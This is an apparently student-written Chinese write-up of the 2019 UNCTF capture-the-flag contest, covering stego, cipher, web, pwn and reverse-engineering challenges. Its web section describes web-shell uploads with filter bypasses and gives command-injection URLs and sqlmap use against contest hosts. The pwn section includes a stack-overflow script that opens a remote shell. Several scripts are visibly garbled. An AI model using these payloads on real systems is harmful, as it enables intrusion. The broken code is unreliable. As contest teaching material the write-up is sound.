UNCTF新星赛解题报告

为了防止安恒不给复现,我把MISC、RE的附件下载下来放在百度网盘上,有需要的自行下载,链接如下:https://pan.baidu.com/s/1QzTZFInCvvwtWuaJy-ZMKg

下面是全部wp的链接:
主站点:https://www.ctfwp.com/articals/2019unctf.html
备用站点一:https://coding.ctfwp.com/articals/2019unctf.html
备用站点二:https://github.ctfwp.com/articals/2019unctf.html


MISC

题目名称:平淡日子下面的秘密
分值:100分
Flag:unctf{This_i5_a_easy_lsb_steg}

下载得到图片,用stegsolve翻阅得到二维码,

扫码得到:Y0u're_so_smart,but_it's_not_the_end,然后用data extract提取,点击0 0 0 ,得到一个压缩包,

用上面那串字符解密的带flag:unctf{This_i5_a_easy_lsb_steg}


题目名称:贝斯的图
分值:100分
Flag:unctf{base64&image}

下载图片,用winhex打开,右边是base64代码。

转图片后是一张二维码,扫一下出来了flag:dW5jdGZ7YmFzZTY0JmltYWdlfQ==,base64解码把框框去一下就可以提交了。


题目名称:长安十二时辰
分值:200
Flag:unctf{m1sc_1s_s0_ea5y}


利用这张图上面的对应关系,解出图中的每个数字后面的图片是什么意思,各自对应ASCII码得到ufss_yn{c_e}cm_sat1105,栅栏一下,栅栏数是4,得到unctf{m1sc_1s_s0_ea5y},去框上交解出。


题目名称:我的头怎么了
分值:100
Flag:unctf{hhh_it’s_ea5y}

首先winhex打开,发现这里跟文件名.gif不一样。

百度了一下GIF的头47 49 46 38,然后输进去,得到

保存一下,得到一张GIF动图,在其中的一帧上面看到了flag,然后用stegsolve打开,一帧一帧播放,得到flag:unctf{hhh_it’s_ea5y}


题目名称:压缩包大礼包
分值:400
Flag:unctf{D0_y0U_1!kE_rAR_?}

下载下来是个1,题目都说了是压缩大礼包,那就加上后缀.zip,解压得到2.zip。然后解压不了了,打开2.zip发现

504B刚好是压缩文件的头,把数字全部复制下来,用winhex打开新建一个压缩包,得到3.zip,解压得到4.zip。(这里其实有一个伪加密,但是我用360压缩打开好像直接搞定了)
尝试明文攻击,用WinRar压缩readme.txt,然后用ARCHPR攻击得到密码

解压得到5.zip。利用CRC32爆破,得到

找好东西:welc0me_To_7his_un_ctf__    

然后 解密 得到6.zip。发现里面有点东西:

不知道是啥,既然是我们看不到的,八成是空格之类的东西。复制到word里面去,左右按按,发现每次的长度还不一样,可能是制表符,看下面的操作:

然后得到:

这个是啥??摩斯密码??每行跑一下,得到  X233$@F99  密码,解压得到6.jpg。winhex打开,拉倒结尾,发现PK:

PK是压缩包的头,不用多说,后面复制,并且新建一个压缩包7.zip。爆破走起

解压得到flag。

Base64解码,得到最终flag。


题目名称:快乐游戏题
分值:100
Flag:UNCTF{c783910550de39816d1de0f103b0ae32}

玩了游戏就出来了,益智?


题目名称:亲爱的
分值:100
Flag:UNCTF{W3_L0v3_Unctf}

解压出来以后,是一段mp3,放binwalk里面跑一波:

那解出来:

得到一个压缩包

QQ音乐?7月27日17:47分。结合MP3,《海阔天空》李现版,上qq音乐搜一搜,看到了评论!!!难道是这个??找了一波,找到脑壳疼。

还真的尼玛找到了!真的上头!得到2.jpg。binwalk一下:

UNCTF{W3_L0v3_Unvtf}


CRYPTO

题目名称:安妮·起源
分值:200
Flag:UNCTF{F1ame_i5_My_f4vorite_t0y}

先是猪圈密码,然后是摩斯密码,最后是银河字母,解码得到压缩包的密码,然后最后的exe文件得到了flag:flag怎么试都不对,把框去掉就对了。

密码如下:

Cubismine

Magicalmorsecode

helloctfer


题目名称:bacon
分值:100
Flag:2b95d1f09b8b66c5c43622a4d9ec9a04

打开链接发现是乱码,试试用火狐打开,unicode解码一下(或者用conventer)

看到aabab abbab babab  又看到培根,培根密码解码

FNV,md5加密,发现交不上去,试试AABAB ABBAB BABAB解码,解出fox,md5提交完事。


题目名称:云深不归处

分值:100

Flag:2059a82cf231b1d82c65e45ccedf95d7

发现只有01248,百度,

Youaremyhero      md5加密一下   2059a82cf231b1d82c65e45ccedf95d7


题目名称:BABYRSA
分值:300
Flag:UNCTF{10023493ff87a9f246eb09d4f573e060}

参考链接:https://www.jianshu.com/p/83150473d0be
https://blog.csdn.net/asd413850393/article/details/89810137

这两个链接让我粗略看懂了RSA咋回事(另外加上数学课的东西),脚本的网站找不到了,那就算了吧。

下载后打开py,发现N=221,所以接下去是求p,q。先通过数学(草稿纸演算,比较麻烦),求得d=77,然后按照百度得到的脚本跑一下,就得到了flag

file=open('encrypt','rb')
f=file.read()
n=221
d=77
s=''
fori in f:
      s += chr(pow(ord(i),d,n))
prints
file.close()                                              //脚本附上

我不生产知识,我只是知识的搬运工。这道题我也做的很蒙,好像主要还是靠脚本。


WEB

题目名称:checkinA
分值:100
Flag:flag{ca876b13439332b6083dd5f4cf48b72e}

打开链接后,输入/name 123修改名字为123,然后输入/flag得到flag,去框后提交。

原理:打开源码,看到好几个js代码,进去ctrl+F,查找flag,只有一个页面出现了flag。

看到一些指令,去试试,就出来了flag:

flag{ca876b13439332b6083dd5f4cf48b72e}


题目名称:上传给小姐姐的照片
分值:100
Flag:UNCTF{5e0c22f9af9172e95937e59c58358444}

御剑扫描一波,发现index.php,进去发现是个上传题,上传一个一句话木马,然后蚁剑(菜刀)连一下,得到flag.php,打开去框得到flag:UNCTF{5e0c22f9af9172e95937e59c58358444

(注意,上传的时候注意那个filename,那边需要修改一下)

Filename只要服务器没有就行,下面那里后缀名要php,其他一些php5啊啥的也行。


题目名称:NSB_Login
分值:200
Flag:flag{57fc636a42f46c7658110a631256f5cb}

用户名要么是root,要么是admin,root的时候提示没有这个东西,admin的时候提示密码错误,那么用户名就是admin没得跑了。

然后BP爆破,得到密码,登录得到flag。 57fc636a42f46c7658110a631256f5cb


题目名称:Simple_cal
分值:200
Flag:Flag{Glzj1n_W4nt5_4_91r1_Fr1end} (跑出来两个flag,交了哪个忘了)

主要参考https://www.cnblogs.com/qtisec/p/11097191.html
首先,构造raw,(提示了xff),

保存为xff.txt,然后sqlmap跑,命令看截图:


题目名称:WEB2
分值:100
Flag:UNCTF{d9582ac88cb7d23ee5721d5f033729b5}

附一个超级爽的上传靶场github的:

靶场地址:https://github.com/c0ny1/upload-labs
wp:https://xz.aliyun.com/t/2435
知识点:http://www.freebuf.com/vuls/128846.html

主要是白名单绕过,上传1.php%00发现绕不过去,就上传1.php.gif

蚁剑连接,url主要通过BP回显以及御剑扫描得到uploads这个文件夹,

但是,经过一些检验之后,我发现这道题并不是这么回事,它可能是检测文件头的。所以在一句话木马前面最好标注一下GIF89a(gif文件头)。

GIF89a
    //一句话木马


题目名称:WEB 1
分值:100
Flag:UNCTF{b9a5a633c806f9d24e42681c3f0360ba}

看到这个题目我就想到在index.php后面加上各种备份文件的后缀,but不能用!!!得了,御剑跑一波,得到了压缩包。

文本打开,里面放了个php代码。观察php代码,就是要你绕过三个检测(三个if)。

Un要是0,而且不能为0;

Ctf不能是纯数字,但是要大于87654321.

前面构造?un=’0123’      //字符串

后面构造ctf=88888888qwe     //加几个字母就绕过numberc函数

得到前后flag,拼接一下就成了!


题目名称:光坂镇的小诗2
分值:200
Flag:FLAG{Q2GGHA_WEB_SQL_22JKK44H}

我先做的1,结果做不出来,下意识的以为2更难。结果,sqlmap一下就出来了。很开心。

命令见图:

Flag:FLAG{Q2GGHA_WEB_SQL_22JKK44H}


题目名称:阿风日记.docx
分值:100
Flag:unctf{asdwtg3y46wsgrs575}

打开链接,粗略的看了一下,有个东西叫秘密?

进去要你输入密码,啥都不说了,爆破走起。


题目名称:easy php
分值:100
Flag:flag{585ae8df504339777766bd76e3ebd9f4}

解读完毕,接下来先构造看目录的x,再构造抓flag的x。

http://101.71.29.5:10043/index.php?x=system('ls|cat');
http://101.71.29.5:10043/index.php?x=$a=%22%20flag.php%22;system(%22%20%20cat%22.$a);


PWN

题目名称:Hermes
分值:200
Flag:UNCTF{36d5c39de9214225400a9b8c5d64e6f4  }

/////////////////这个题目大佬们还是去看看别人的吧,我用32位的脚本跑出64位的flag,我也是醉了////////////////////
/////////////////此题仅作为纪念//////////////////////

下载文件,64位ida打开,shift+F12后,看到了美丽的/bin/sh ,然后找到binsh的地址:

九成九是一个栈溢出pwn题,然后gdb调试,先创300个随机字符,然后r运行,输入300字符溢出。

然后用offset得到偏移量:40

It’s time to 写脚本了,脚本附上:

from pwn import*
#sh=process("./pwn")
sh = remote ("101.71.29.5",10070)
target=0x00004007EB
payload='a'*40+p32(target)
sh.sendline(payload)
sh.interactive()

#人生中第一次独立完成一道pwn题,一万个开心,虽然有点奇怪0.0.


题目名称:nc
分值:100
Flag:UNCTF{4c697e3019673fe91ce1571cdd4087aa}

给你个地址,先nc 123.206.21.178 9090,然后溢出就行:


RE

题目名称:very_easy_re
分值:
Flag:UNCTF{h4ve_f5n_ 1n_ 8h7r7}

文件打不开,显示错误,用ida打开,shift+F12。

Ok,找到main函数了。这混蛋出题人居然把main函数删了,好开心····

然后看代码,发现需要构造一个payload使得1-7位+1,8-15位+3,17-23位+3,24-32位+4,ok,jio本走起。

#coding:utf-8
flag1 = 'WV6EWF[8dGU5]Yflag =''
for i in
range(len(flag1)):
if(i<8):
    flag +=chr(ord(flag1[i])-1)
if(8<=i and i<24):
     flag+=chr(ord(flag1[i])-3)
if(24<=i and i<32):
    flag+=chr(ord(flag1[i])-4)
print(flag)                           //python

得到:
VU5DVEZ7aDR2ZV9mNW5fMW5fOGg3cjd9
base64解码得:
UNCTF{h4ve_f5n_1n_8h7r7}


题目名称:rookie_reverse
分值:200
Flag:unctf {welcOme_tO_unctf_bAby_reverse}

找到main函数,看了一下,先输入,然后对22取异或并+1,然后输出结果要跟dyvcqnbt{v'|tJc'JdyvcqJuXupJetateftl  这东西一样,ok,脚本跑起来。不知道python的异或咋表示,就用C语言写。

Flag出来了,交不上去,真的生气,然后吧0变成O以后就交了。

脚本如下:
#include
int main()
{
charflag1[100]="dyvcqnbt{v'|tJc'JdyvcqJuXupJetateftl";
char flag[100];
for (int i=0;i<100;i++)
flag[i]=(flag1[i]-1)^22;
printf ("%s",flag);
}


题目名称:unctf_babyre
分值:200
Flag:14ddacbe412e423156ce5fe5ad5ba195

这个题目我是真的服气

Ida打开,看main函数,发现一串的异或。题目要求输入s,然后跟一堆东西(t)异或,得到一个东西(target)。但是不知道t,target咋整?双击target,得到
Do_You_ThInk_1t_1s_A_Tru1y_Baby


那整t,双击t,得到了

括起来,shift+E,得到   

0x72, 0xFF, 0x94,0x62, 0x0F, 0x69, 0x88, 0x6E, 0x53, 0xF0,

0x17, 0x60, 0x6A, 0xC4, 0x70, 0x1A, 0x05, 0x6C, 0x8F,0x7B,

0x6B, 0x1B, 0x7B, 0x32, 0x51, 0x24, 0xD3, 0x7F, 0x01,0x12,

0x2E, 0x73

接下来就是烧脑壳的脚本,就是原来的程序反过来。(异或的逆还是异或)

#include
int main ()
{
char a[35];
 intt[33]={0x72,0xFF,0x94,0x62,0x0F,0x69,0x88,0x6E,0x53,0xF0,0x17,0x60,0x6A,0xC4,0x70,0x1A,0x05,0x6C,0x8F,0x7B,0x6B,0x1B,0x7B,0x32,0x51,0x24,0xD3,0x7F,0x01,0x12,0x2E,0x73};
int i,j,k;
scanf("%s",&a);
i=j=k=0;
for (i=0;i<=7;i++)
     {
             flag[i*4]=(a[i*4]-1)^t[i*4];
             flag[i*4+1]=(a[i*4+1]-t[i*4+1])^a[4*i];
              flag[i*4+2]=(a[i*4+2]-a[4*i+1])^t[i*4+2];
              flag[i*4+3]=a[i*4+3]^t[i*4+3]^a[i*4+2]; 
       }
printf("%s",flag);
}


讲道理flag前面有unctf{}的,但是我懒得打就没搞,需要的话自己手动输入哈

跑出来flag:14ddacbe412e423156ce5fe5ad5ba195


题目名称:unctf easyreverse
分值:100
Flag:KDsJv8ilTho8dUhTij8dZ

首先,先把这些东西变成字符,wow,差不多明白了,把下面代码读懂了就差不多可以写jio本了。

#include
#include
int main()
{
       char*a="UNCTFisv3ryin4r3stin9";
       char* b="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+<>?:";
       int c[21];
       int i,j;
       for(i=0;i<21;i++)
       for(j=0;j<=strlen(b);j++)
       if(a[i]==b[j])c[i]=j;
       for(i=0;i<21;i++)
      {
              if(c[i]<=9&&c[i]>=0)c[i]+=48;
              elseif(c[i]<=35&&c[i]>=10)c[i]+=87;
              else c[i]+=29;
       }
       for(int i=0;i<21;i++)
       printf("%c",c[i]);
       return 0;
}


Flag: KDsJv8ilTho8dUhTij8dZ  如果不行就套个壳 啥unctf、UNCTF、FLAG、flag等


题目名称:调试器的初体验
分值:100
Flag:flag{16cea37e53405a8b1b8a7de219e8edd1}

打开调试器,发现报错,不能运行。百度了一下,把相关文件下载下来就一路绿灯:

用ollydbg打开,一路F9,就完事了。

i跟l我是真的服气。

ps:本文仅供学习使用。

你可能感兴趣的:(UNCTF新星赛解题报告)